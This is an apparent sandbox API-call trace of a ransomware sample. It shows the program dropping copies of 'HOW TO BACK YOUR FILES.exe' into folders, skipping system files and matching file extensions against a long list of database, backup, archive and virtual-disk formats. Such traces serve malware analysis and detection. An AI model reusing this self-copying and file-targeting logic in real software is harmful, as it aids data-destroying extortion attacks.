	[0084.441] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.442] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.442] GetLastError () returned 0x0
	[0084.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.442] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.442] CloseHandle (hObject=0x10c) returned 1
	[0084.443] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.443] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.443] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.443] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.443] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.443] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.443] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.443] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.443] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="Apollon865.txt.exe") returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="windows") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="bootmgr") returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="pagefile.sys") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="boot") returned 1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="ids.txt") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="ntuser.dat") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="perflogs") returned -1
	[0084.443] lstrcmpiW (lpString1="Connections", lpString2="MSBuild") returned -1
	[0084.443] lstrlenW (lpString="Connections") returned 11
	[0084.443] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\*") returned 38
	[0084.444] lstrcpyW (in: lpString1=0x119e652, lpString2="Connections" | out: lpString1="Connections") returned="Connections"
	[0084.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0084.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afce8
	[0084.444] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c50 | out: ListHead=0x5b75f0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0084.444] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="Apollon865.txt.exe") returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2=".") returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="..") returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="windows") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="bootmgr") returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="temp") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="pagefile.sys") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="boot") returned 1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="ids.txt") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="ntuser.dat") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="perflogs") returned -1
	[0084.444] lstrcmpiW (lpString1="Downloader", lpString2="MSBuild") returned -1
	[0084.444] lstrlenW (lpString="Downloader") returned 10
	[0084.444] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned 48
	[0084.444] lstrcpyW (in: lpString1=0x119e652, lpString2="Downloader" | out: lpString1="Downloader") returned="Downloader"
	[0084.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0084.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c55f8
	[0084.444] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0084.444] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.444] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.444] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0084.444] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0084.444] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0084.444] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader"
	[0084.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0084.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0084.444] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned 47
	[0084.444] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader"
	[0084.444] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0084.445] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0084.445] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0084.445] GetLastError () returned 0x0
	[0084.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0084.445] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0084.446] CloseHandle (hObject=0x10c) returned 1
	[0084.446] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0084.446] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0084.446] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0084.446] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.446] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0084.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.446] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.446] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.446] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.446] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0084.446] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0084.446] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xe0118910, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qmgr0.dat", cAlternateFileName="")) returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="Apollon865.txt.exe") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="..") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="windows") returned -1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="bootmgr") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="temp") returned -1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="pagefile.sys") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="boot") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="ids.txt") returned 1
	[0084.446] lstrcmpiW (lpString1="qmgr0.dat", lpString2="ntuser.dat") returned 1
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2="perflogs") returned 1
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2="MSBuild") returned 1
	[0084.447] lstrlenW (lpString="qmgr0.dat") returned 9
	[0084.447] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned 49
	[0084.447] lstrcpyW (in: lpString1=0x119e668, lpString2="qmgr0.dat" | out: lpString1="qmgr0.dat") returned="qmgr0.dat"
	[0084.447] lstrlenW (lpString="qmgr0.dat") returned 9
	[0084.447] lstrlenW (lpString="Apollon865") returned 10
	[0084.447] lstrlenW (lpString=".dll") returned 4
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".dll") returned 1
	[0084.447] lstrlenW (lpString=".lnk") returned 4
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".lnk") returned 1
	[0084.447] lstrlenW (lpString=".ini") returned 4
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".ini") returned 1
	[0084.447] lstrlenW (lpString=".sys") returned 4
	[0084.447] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".sys") returned 1
	[0084.447] lstrlenW (lpString="qmgr0.dat") returned 9
	[0084.447] lstrlenW (lpString="bak") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0084.447] lstrlenW (lpString="ba_") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0084.447] lstrlenW (lpString="dbb") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0084.447] lstrlenW (lpString="vmdk") returned 4
	[0084.447] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0084.447] lstrlenW (lpString="rar") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0084.447] lstrlenW (lpString="zip") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0084.447] lstrlenW (lpString="tgz") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0084.447] lstrlenW (lpString="vbox") returned 4
	[0084.447] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0084.447] lstrlenW (lpString="vdi") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0084.447] lstrlenW (lpString="vhd") returned 3
	[0084.447] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0084.447] lstrlenW (lpString="vhdx") returned 4
	[0084.448] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0084.448] lstrlenW (lpString="avhd") returned 4
	[0084.448] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0084.448] lstrlenW (lpString="db") returned 2
	[0084.448] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0084.448] lstrlenW (lpString="db2") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0084.448] lstrlenW (lpString="db3") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0084.448] lstrlenW (lpString="dbf") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0084.448] lstrlenW (lpString="mdf") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0084.448] lstrlenW (lpString="mdb") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0084.448] lstrlenW (lpString="sql") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0084.448] lstrlenW (lpString="sqlite") returned 6
	[0084.448] lstrcmpiW (lpString1="r0.dat", lpString2="sqlite") returned -1
	[0084.448] lstrlenW (lpString="sqlite3") returned 7
	[0084.448] lstrcmpiW (lpString1="gr0.dat", lpString2="sqlite3") returned -1
	[0084.448] lstrlenW (lpString="sqlitedb") returned 8
	[0084.448] lstrcmpiW (lpString1="mgr0.dat", lpString2="sqlitedb") returned -1
	[0084.448] lstrlenW (lpString="xml") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0084.448] lstrlenW (lpString="$er") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0084.448] lstrlenW (lpString="4dd") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0084.448] lstrlenW (lpString="4dl") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0084.448] lstrlenW (lpString="^^^") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0084.448] lstrlenW (lpString="abs") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0084.448] lstrlenW (lpString="abx") returned 3
	[0084.448] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0084.448] lstrlenW (lpString="accdb") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accdb") returned -1
	[0084.449] lstrlenW (lpString="accdc") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accdc") returned -1
	[0084.449] lstrlenW (lpString="accde") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accde") returned -1
	[0084.449] lstrlenW (lpString="accdr") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accdr") returned -1
	[0084.449] lstrlenW (lpString="accdt") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accdt") returned -1
	[0084.449] lstrlenW (lpString="accdw") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accdw") returned -1
	[0084.449] lstrlenW (lpString="accft") returned 5
	[0084.449] lstrcmpiW (lpString1="0.dat", lpString2="accft") returned -1
	[0084.449] lstrlenW (lpString="adb") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0084.449] lstrlenW (lpString="adb") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0084.449] lstrlenW (lpString="ade") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0084.449] lstrlenW (lpString="adf") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0084.449] lstrlenW (lpString="adn") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0084.449] lstrlenW (lpString="adp") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0084.449] lstrlenW (lpString="alf") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0084.449] lstrlenW (lpString="ask") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0084.449] lstrlenW (lpString="btr") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0084.449] lstrlenW (lpString="cat") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0084.449] lstrlenW (lpString="cdb") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0084.449] lstrlenW (lpString="ckp") returned 3
	[0084.449] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0084.450] lstrlenW (lpString="cma") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0084.450] lstrlenW (lpString="cpd") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0084.450] lstrlenW (lpString="dacpac") returned 6
	[0084.450] lstrcmpiW (lpString1="r0.dat", lpString2="dacpac") returned 1
	[0084.450] lstrlenW (lpString="dad") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0084.450] lstrlenW (lpString="dadiagrams") returned 10
	[0084.450] lstrlenW (lpString="daschema") returned 8
	[0084.450] lstrcmpiW (lpString1="mgr0.dat", lpString2="daschema") returned 1
	[0084.450] lstrlenW (lpString="db-journal") returned 10
	[0084.450] lstrlenW (lpString="db-shm") returned 6
	[0084.450] lstrcmpiW (lpString1="r0.dat", lpString2="db-shm") returned 1
	[0084.450] lstrlenW (lpString="db-wal") returned 6
	[0084.450] lstrcmpiW (lpString1="r0.dat", lpString2="db-wal") returned 1
	[0084.450] lstrlenW (lpString="dbc") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0084.450] lstrlenW (lpString="dbs") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0084.450] lstrlenW (lpString="dbt") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0084.450] lstrlenW (lpString="dbv") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0084.450] lstrlenW (lpString="dbx") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0084.450] lstrlenW (lpString="dcb") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0084.450] lstrlenW (lpString="dct") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0084.450] lstrlenW (lpString="dcx") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0084.450] lstrlenW (lpString="ddl") returned 3
	[0084.450] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0084.450] lstrlenW (lpString="dlis") returned 4
	[0084.450] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0084.450] lstrlenW (lpString="dp1") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0084.451] lstrlenW (lpString="dqy") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0084.451] lstrlenW (lpString="dsk") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0084.451] lstrlenW (lpString="dsn") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0084.451] lstrlenW (lpString="dtsx") returned 4
	[0084.451] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0084.451] lstrlenW (lpString="dxl") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0084.451] lstrlenW (lpString="eco") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0084.451] lstrlenW (lpString="ecx") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0084.451] lstrlenW (lpString="edb") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0084.451] lstrlenW (lpString="epim") returned 4
	[0084.451] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0084.451] lstrlenW (lpString="fcd") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1
	[0084.451] lstrlenW (lpString="fdb") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1
	[0084.451] lstrlenW (lpString="fic") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1
	[0084.451] lstrlenW (lpString="flexolibrary") returned 12
	[0084.451] lstrlenW (lpString="fm5") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1
	[0084.451] lstrlenW (lpString="fmp") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1
	[0084.451] lstrlenW (lpString="fmp12") returned 5
	[0084.451] lstrcmpiW (lpString1="0.dat", lpString2="fmp12") returned -1
	[0084.451] lstrlenW (lpString="fmpsl") returned 5
	[0084.451] lstrcmpiW (lpString1="0.dat", lpString2="fmpsl") returned -1
	[0084.451] lstrlenW (lpString="fol") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1
	[0084.451] lstrlenW (lpString="fp3") returned 3
	[0084.451] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1
	[0084.451] lstrlenW (lpString="fp4") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1
	[0084.452] lstrlenW (lpString="fp5") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1
	[0084.452] lstrlenW (lpString="fp7") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1
	[0084.452] lstrlenW (lpString="fpt") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1
	[0084.452] lstrlenW (lpString="frm") returned 3
